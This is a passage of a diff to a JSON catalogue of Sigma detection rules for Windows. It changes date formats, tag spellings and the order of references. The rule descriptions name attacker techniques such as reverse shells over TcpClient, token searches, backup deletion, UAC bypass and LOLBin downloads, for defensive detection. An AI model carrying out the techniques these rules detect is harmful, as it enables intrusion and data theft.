"https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048", - "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=44", "https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html", + "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=44", + "https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_outlook_enable_unsafe_client_mail_rules.yml" ], "tags": [ @@ -49631,7 +49696,7 @@ "description": "Detects the use of getsystem Meterpreter/Cobalt Strike command by detecting a specific service starting", "meta": { "author": "Teymur Kheirkhabarov, Ecco, Florian Roth", - "creation_date": "2019/10/26", + "creation_date": "2019-10-26", "falsepositive": [ "Commandlines containing components like cmd accidentally", "Jobs and services started with cmd" @@ -49641,12 +49706,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/", + "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_meterpreter_getsystem.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1134.001", "attack.t1134.002" ] @@ -49674,7 +49739,7 @@ "description": "Shadow Copies storage symbolic link creation using operating systems utilities", "meta": { "author": "Teymur Kheirkhabarov, oscd.community", - "creation_date": "2019/10/22", + "creation_date": "2019-10-22", "falsepositive": [ "Legitimate administrator working with shadow copies, access for backup purposes" ], @@ -49687,7 +49752,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_mklink_shadow_copies_access_symlink.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.002", "attack.t1003.003" ] @@ -49715,7 +49780,7 @@ "description": "Detects a suspicious process pattern which could be a sign of an exploited Serv-U service", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/07/14", + "creation_date": "2021-07-14", "falsepositive": [ "Legitimate uses in which users or programs use the SSH service of Serv-U for remote command execution" ], @@ -49728,9 +49793,9 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_servu_susp_child_process.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1555", - "cve.2021.35211" + "cve.2021-35211" ] }, "related": [ @@ -49749,7 +49814,7 @@ "description": "Detects use of an encoded/obfuscated version of an IP address (hex, octal...) in an URL combined with a download command", "meta": { "author": "Florian Roth (Nextron Systems), X__Junior (Nextron Systems)", - "creation_date": "2022/08/03", + "creation_date": "2022-08-03", "falsepositive": [ "Unknown" ], @@ -49774,7 +49839,7 @@ "description": "Detects potential arbitrary file download using a Microsoft Office application", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Beyu Denis, oscd.community", - "creation_date": "2022/05/17", + "creation_date": "2022-05-17", "falsepositive": [ "Unknown" ], @@ -49783,14 +49848,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/", "https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_arbitrary_cli_download.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -49810,7 +49875,7 @@ "description": "Detects the use of the 'Pubprn.vbs' Microsoft signed script to execute commands.", "meta": { "author": "frack113", - "creation_date": "2022/05/28", + "creation_date": "2022-05-28", "falsepositive": [ "Unknown" ], @@ -49823,7 +49888,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_pubprn.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1216.001" ] }, @@ -49843,7 +49908,7 @@ "description": "Detects the creation of a schtasks that potentially executes a payload stored in the Windows Registry using PowerShell.", "meta": { "author": "X__Junior (Nextron Systems), Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/07/18", + "creation_date": "2023-07-18", "falsepositive": [ "Unknown" ], @@ -49885,7 +49950,7 @@ "description": "An adversary might use WMI to discover information about the system, such as the volume name, size,\nfree space, and other disk information. This can be done using the `wmic` command-line utility and has been\nobserved being used by threat actors such as Volt Typhoon.\n", "meta": { "author": "Stephen Lincoln `@slincoln-aiq`(AttackIQ)", - "creation_date": "2024/02/02", + "creation_date": "2024-02-02", "falsepositive": [ "Unknown" ], @@ -49928,7 +49993,7 @@ "description": "Detect malicious GPO modifications can be used to implement many other malicious behaviors.", "meta": { "author": "frack113", - "creation_date": "2022/08/19", + "creation_date": "2022-08-19", "falsepositive": [ "Legitimate use" ], @@ -49941,8 +50006,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_modify_group_policy_settings.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1484.001" ] }, @@ -49962,7 +50027,7 @@ "description": "Detects execution of renamed version of PAExec. Often used by attackers", "meta": { "author": "Florian Roth (Nextron Systems), Jason Lynch", - "creation_date": "2021/05/22", + "creation_date": "2021-05-22", "falsepositive": [ "Weird admins that rename their tools", "Software companies that bundle PAExec with their software and rename it, so that it is less embarrassing", @@ -49973,12 +50038,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", "https://www.poweradmin.com/paexec/", + "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_paexec.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1202" ] }, @@ -49998,7 +50063,7 @@ "description": "Detects potential abuse of the \"register_app.vbs\" script that is part of the Windows SDK. The script offers the capability to register new VSS/VDS Provider as a COM+ application. Attackers can use this to install malicious DLLs for persistence and execution.", "meta": { "author": "Austin Songer @austinsonger", - "creation_date": "2021/11/05", + "creation_date": "2021-11-05", "falsepositive": [ "Other VB scripts that leverage the same starting command line flags" ], @@ -50012,7 +50077,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolscript_register_app.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -50032,7 +50097,7 @@ "description": "Detects the use of various web request commands with commandline tools and Windows PowerShell cmdlets (including aliases) via CommandLine", "meta": { "author": "James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Use of Get-Command and Get-Help modules to reference Invoke-WebRequest and Start-BitsTransfer." ], @@ -50042,8 +50107,8 @@ "logsource.product": "windows", "refs": [ "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", - "https://learn.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps", "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/", + "https://learn.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_request_cmd_and_cmdlets.yml" ], "tags": [ @@ -50067,7 +50132,7 @@ "description": "Detects the installation of a DNS plugin DLL via ServerLevelPluginDll parameter in registry, which can be used to execute code in context of the DNS server (restart required)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/05/08", + "creation_date": "2017-05-08", "falsepositive": [ "Unknown" ], @@ -50076,12 +50141,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", "https://blog.3or.de/hunting-dns-server-level-plugin-dll-injection.html", + "https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnscmd_install_new_server_level_plugin_dll.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1574.002", "attack.t1112" ] @@ -50109,7 +50174,7 @@ "description": "Detects potential web shell execution from the ScreenConnect server process.", "meta": { "author": "Jason Rathbun (Blackpoint Cyber)", - "creation_date": "2024/02/26", + "creation_date": "2024-02-26", "falsepositive": [ "Unlikely" ], @@ -50118,12 +50183,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://blackpointcyber.com/resources/blog/breaking-through-the-screen/", "https://www.connectwise.com/company/trust/security-bulletins/connectwise-screenconnect-23.9.8", + "https://blackpointcyber.com/resources/blog/breaking-through-the-screen/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_remote_access_tools_screenconnect_webshell.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.t1190" ] }, @@ -50143,7 +50208,7 @@ "description": "Detects usage of the \"TcpClient\" class. Which can be abused to establish remote connections and reverse-shells. As seen used by the Nishang \"Invoke-PowerShellTcpOneLine\" reverse shell and other.", "meta": { "author": "FPT.EagleEye, wagga, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/03/03", + "creation_date": "2021-03-03", "falsepositive": [ "In rare administrative cases, this function might be used to check network connectivity" ], @@ -50152,9 +50217,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/", "https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Shells/Invoke-PowerShellTcpOneLine.ps1", - "https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_reverse_shell_connection.yml" ], "tags": [ @@ -50178,7 +50243,7 @@ "description": "Detects the execution of \"forfiles\" with the \"/c\" flag.\nWhile this is an expected behavior of the tool, it can be abused in order to proxy execution through it with any binary.\nCan be used to bypass application whitelisting.\n", "meta": { "author": "Tim Rauch, Elastic, E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2022/06/14", + "creation_date": "2022-06-14", "falsepositive": [ "Legitimate use via a batch script or by an administrator." ], @@ -50212,7 +50277,7 @@ "description": "Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/07/24", + "creation_date": "2021-07-24", "falsepositive": [ "Legitimate use of the impacket tools" ], @@ -50245,7 +50310,7 @@ "description": "Detects the use of RemoteKrbRelay, a Kerberos relaying tool via CommandLine flags and PE metadata.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2024/06/27", + "creation_date": "2024-06-27", "falsepositive": [ "Unlikely" ], @@ -50258,7 +50323,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_krbrelay_remote.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1558.003" ] }, @@ -50278,7 +50343,7 @@ "description": "Detects changes to the \"NoLMHash\" registry value in order to allow Windows to store LM Hashes.\nBy setting this registry value to \"0\" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/12/15", + "creation_date": "2023-12-15", "falsepositive": [ "Unknown" ], @@ -50293,7 +50358,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_nolmhash.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1112" ] }, @@ -50313,7 +50378,7 @@ "description": "Detects possible search for office tokens via CLI by looking for the string \"eyJ0eX\". This string is used as an anchor to look for the start of the JWT token used by office and similar apps.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/10/25", + "creation_date": "2022-10-25", "falsepositive": [ "Unknown" ], @@ -50326,7 +50391,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_office_token_search.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1528" ] }, @@ -50346,7 +50411,7 @@ "description": "Detects the \"IDiagnosticProfileUAC\" UAC bypass technique", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/07/03", + "creation_date": "2022-07-03", "falsepositive": [ "Unknown" ], @@ -50360,8 +50425,8 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -50381,7 +50446,7 @@ "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", "meta": { "author": "Timur Zinniatullin, oscd.community", - "creation_date": "2020/10/18", + "creation_date": "2020-10-18", "falsepositive": [ "Unknown" ], @@ -50394,7 +50459,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_invoke_obfuscation_via_compress.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.execution", "attack.t1059.001" @@ -50423,7 +50488,7 @@ "description": "Detects the use of rcedit to potentially alter executable PE metadata properties, which could conceal efforts to rename system utilities for defense evasion.", "meta": { "author": "Micah Babinski", - "creation_date": "2022/12/11", + "creation_date": "2022-12-11", "falsepositive": [ "Legitimate use of the tool by administrators or users to update metadata of a binary" ], @@ -50433,12 +50498,12 @@ "logsource.product": "windows", "refs": [ "https://www.virustotal.com/gui/file/02e8e8c5d430d8b768980f517b62d7792d690982b9ba0f7e04163cbc1a6e7915", - "https://security.stackexchange.com/questions/210843/is-it-possible-to-change-original-filename-of-an-exe", "https://github.com/electron/rcedit", + "https://security.stackexchange.com/questions/210843/is-it-possible-to-change-original-filename-of-an-exe", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_rcedit_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036.003", "attack.t1036", "attack.t1027.005", @@ -50482,7 +50547,7 @@ "description": "Detects calls to \"LoadAssemblyFromPath\" or \"LoadAssemblyFromNS\" that are part of the \"CL_LoadAssembly.ps1\" script. This can be abused to load different assemblies and bypass App locker controls.", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/05/21", + "creation_date": "2022-05-21", "falsepositive": [ "Unknown" ], @@ -50491,12 +50556,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Scripts/CL_LoadAssembly/", "https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/", + "https://lolbas-project.github.io/lolbas/Scripts/CL_LoadAssembly/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cl_loadassembly.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1216" ] }, @@ -50516,7 +50581,7 @@ "description": "Detects AdFind execution with common flags seen used during attacks", "meta": { "author": "Janantha Marasinghe (https://github.com/blueteam0ps), FPT.EagleEye Team, omkar72, oscd.community", - "creation_date": "2021/02/02", + "creation_date": "2021-02-02", "falsepositive": [ "Legitimate admin activity" ], @@ -50525,13 +50590,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1087.002/T1087.002.md#atomic-test-7---adfind---enumerate-active-directory-user-objects", + "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", "https://thedfirreport.com/2020/05/08/adfind-recon/", "https://www.joeware.net/freetools/tools/adfind/", - "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", "https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/", - "https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx", - "https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1087.002/T1087.002.md#atomic-test-7---adfind---enumerate-active-directory-user-objects", + "https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md", + "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_adfind_susp_usage.yml" ], "tags": [ @@ -50580,7 +50645,7 @@ "description": "In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool \"Mouse Lock\" as being used for both credential access and collection in security incidents.", "meta": { "author": "Cian Heasley", - "creation_date": "2020/08/13", + "creation_date": "2020-08-13", "falsepositive": [ "Legitimate uses of Mouse Lock software" ], @@ -50589,12 +50654,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/klsecservices/Publications/blob/657deb6a6eb6e00669afd40173f425fb49682eaa/Incident-Response-Analyst-Report-2020.pdf", "https://sourceforge.net/projects/mouselock/", + "https://github.com/klsecservices/Publications/blob/657deb6a6eb6e00669afd40173f425fb49682eaa/Incident-Response-Analyst-Report-2020.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_mouselock_execution.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.collection", "attack.t1056.002" ] @@ -50615,7 +50680,7 @@ "description": "Detects the execution of \"Ldifde.exe\" with the import flag \"-i\". The can be abused to include HTTP-based arguments which will allow the arbitrary download of files from a remote server.\n", "meta": { "author": "@gott_cyber", - "creation_date": "2022/09/02", + "creation_date": "2022-09-02", "falsepositive": [ "Since the content of the files are unknown, false positives are expected" ], @@ -50630,8 +50695,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ldifde_file_load.yml" ], "tags": [ - "attack.command_and_control", - "attack.defense_evasion", + "attack.command-and-control", + "attack.defense-evasion", "attack.t1218", "attack.t1105" ] @@ -50659,7 +50724,7 @@ "description": "Detects the stopping of a Windows service via the \"net\" utility.", "meta": { "author": "Jakob Weinzettl, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/05", + "creation_date": "2023-03-05", "falsepositive": [ "There are many legitimate reasons to stop a service. This rule isn't looking for any suspicious behaviour in particular. Filter legitimate activity accordingly" ], @@ -50692,7 +50757,7 @@ "description": "Detects the presence of unicode characters which are homoglyphs, or identical in appearance, to ASCII letter characters.\nThis is used as an obfuscation and masquerading techniques. Only \"perfect\" homoglyphs are included; these are characters that\nare indistinguishable from ASCII characters and thus may make excellent candidates for homoglyph attack characters.\n", "meta": { "author": "Micah Babinski, @micahbabinski", - "creation_date": "2023/05/07", + "creation_date": "2023-05-07", "falsepositive": [ "Commandlines with legitimate Cyrillic text; will likely require tuning (or not be usable) in countries where these alphabets are in use." ], @@ -50706,7 +50771,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_homoglyph_cyrillic_lookalikes.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036", "attack.t1036.003" ] @@ -50734,7 +50799,7 @@ "description": "Detects the deletion of backups or system state backups via \"wbadmin.exe\".\nThis technique is used by numerous ransomware families and actors.\nThis may only be successful on server platforms that have Windows Backup enabled.\n", "meta": { "author": "frack113, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2021/12/13", + "creation_date": "2021-12-13", "falsepositive": [ "Legitimate backup activity from administration scripts and software." ], @@ -50745,10 +50810,10 @@ "refs": [ "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/24/b/lockbit-attempts-to-stay-afloat-with-a-new-version/technical-appendix-lockbit-ng-dev-analysis.pdf", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-report-avaddon-and-new-techniques-emerge-industrial-sector-targeted", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", - "https://github.com/albertzsigovits/malware-notes/blob/558898932c1579ff589290092a2c8febefc3a4c9/Ransomware/Lockbit.md", "https://www.sentinelone.com/labs/ranzy-ransomware-better-encryption-among-new-features-of-thunderx-derivative/", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-systemstatebackup", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell", + "https://github.com/albertzsigovits/malware-notes/blob/558898932c1579ff589290092a2c8febefc3a4c9/Ransomware/Lockbit.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wbadmin_delete_backups.yml" ], "tags": [ @@ -50772,7 +50837,7 @@ "description": "Detects suspicious encoded character syntax often used for defense evasion", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/07/09", + "creation_date": "2020-07-09", "falsepositive": [ "Unknown" ], @@ -50787,7 +50852,7 @@ "tags": [ "attack.execution", "attack.t1059.001", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -50814,7 +50879,7 @@ "description": "Detects the use of the bcdedit command to tamper with the boot configuration data. This technique is often times used by malware or attackers as a destructive way before launching ransomware.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Unlikely" ], @@ -50823,8 +50888,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", "https://eqllib.readthedocs.io/en/latest/analytics/c4732632-9c1d-4980-9fa8-1d98c93f918e.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bcdedit_boot_conf_tamper.yml" ], "tags": [ @@ -50848,7 +50913,7 @@ "description": "Detects usage of the Chisel tunneling tool via the commandline arguments", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/09/13", + "creation_date": "2022-09-13", "falsepositive": [ "Some false positives may occur with other tools with similar commandlines" ], @@ -50858,12 +50923,12 @@ "logsource.product": "windows", "refs": [ "https://github.com/jpillora/chisel/", - "https://blog.sekoia.io/lucky-mouse-incident-response-to-detection-engineering/", "https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/", + "https://blog.sekoia.io/lucky-mouse-incident-response-to-detection-engineering/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_chisel.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090.001" ] }, @@ -50883,7 +50948,7 @@ "description": "Detects usage of \"findstr\" with the argument \"385201\". Which could indicate potential discovery of an installed Sysinternals Sysmon service using the default driver altitude (even if the name is changed).", "meta": { "author": "frack113", - "creation_date": "2021/12/16", + "creation_date": "2021-12-16", "falsepositive": [ "Unknown" ], @@ -50916,7 +50981,7 @@ "description": "Detects execution of arbitrary DLLs or unsigned code via a \".csproj\" files via Dotnet.EXE.", "meta": { "author": "Beyu Denis, oscd.community", - "creation_date": "2020/10/18", + "creation_date": "2020-10-18", "falsepositive": [ "Legitimate administrator usage" ], @@ -50925,13 +50990,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/", "https://twitter.com/_felamos/status/1204705548668555264", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dotnet/", - "https://bohops.com/2019/08/19/dotnet-core-a-vector-for-awl-bypass-defense-evasion/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dotnet_arbitrary_dll_csproj_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -50951,7 +51016,7 @@ "description": "Detects execution of \"findstr\" with specific flags and a remote share path. This specific set of CLI flags would allow \"findstr\" to download the content of the file located on the remote share as described in the LOLBAS entry.\n", "meta": { "author": "Furkan CALISKAN, @caliskanfurkan_, @oscd_initiative, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2020/10/05", + "creation_date": "2020-10-05", "falsepositive": [ "Unknown" ], @@ -50960,13 +51025,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://lolbas-project.github.io/lolbas/Binaries/Findstr/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_findstr_download.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1564.004", "attack.t1552.001", @@ -51010,7 +51075,7 @@ "description": "setupapi.dll library provide InstallHinfSection function for processing INF files. INF file may contain instructions allowing to create values in the registry, modify files and install drivers. This technique could be used to obtain persistence via modifying one of Run or RunOnce registry keys, run process or use other DLLs chain calls (see references) InstallHinfSection function in setupapi.dll calls runonce.exe executable regardless of actual content of INF file.", "meta": { "author": "Konstantin Grishchenko, oscd.community", - "creation_date": "2020/10/07", + "creation_date": "2020-10-07", "falsepositive": [ "Scripts and administrative tools that use INF files for driver installation with setupapi.dll" ], @@ -51020,13 +51085,13 @@ "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Libraries/Setupapi/", - "https://twitter.com/Z3Jpa29z/status/1313742350292746241?s=20", "https://gist.githubusercontent.com/bohops/0cc6586f205f3691e04a1ebf1806aabd/raw/baf7b29891bb91e76198e30889fbf7d6642e8974/calc_exe.inf", "https://raw.githubusercontent.com/huntresslabs/evading-autoruns/master/shady.inf", + "https://twitter.com/Z3Jpa29z/status/1313742350292746241?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_setupapi_installhinfsection.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011" ] }, @@ -51046,7 +51111,7 @@ "description": "Detects a potential command line flag anomaly related to \"regsvr32\" in which the \"/i\" flag is used without the \"/n\" which should be uncommon.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/07/13", + "creation_date": "2019-07-13", "falsepositive": [ "Administrator typo might cause some false positives" ], @@ -51059,7 +51124,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_flags_anomaly.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.010" ] }, @@ -51079,7 +51144,7 @@ "description": "Detects the usage of \"hh.exe\" to execute/download remotely hosted \".chm\" files.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/29", + "creation_date": "2022-09-29", "falsepositive": [ "Unknown" ], @@ -51088,13 +51153,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", "https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37", "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", - "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_remote_download_or_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.001" ] }, @@ -51114,7 +51179,7 @@ "description": "Detects 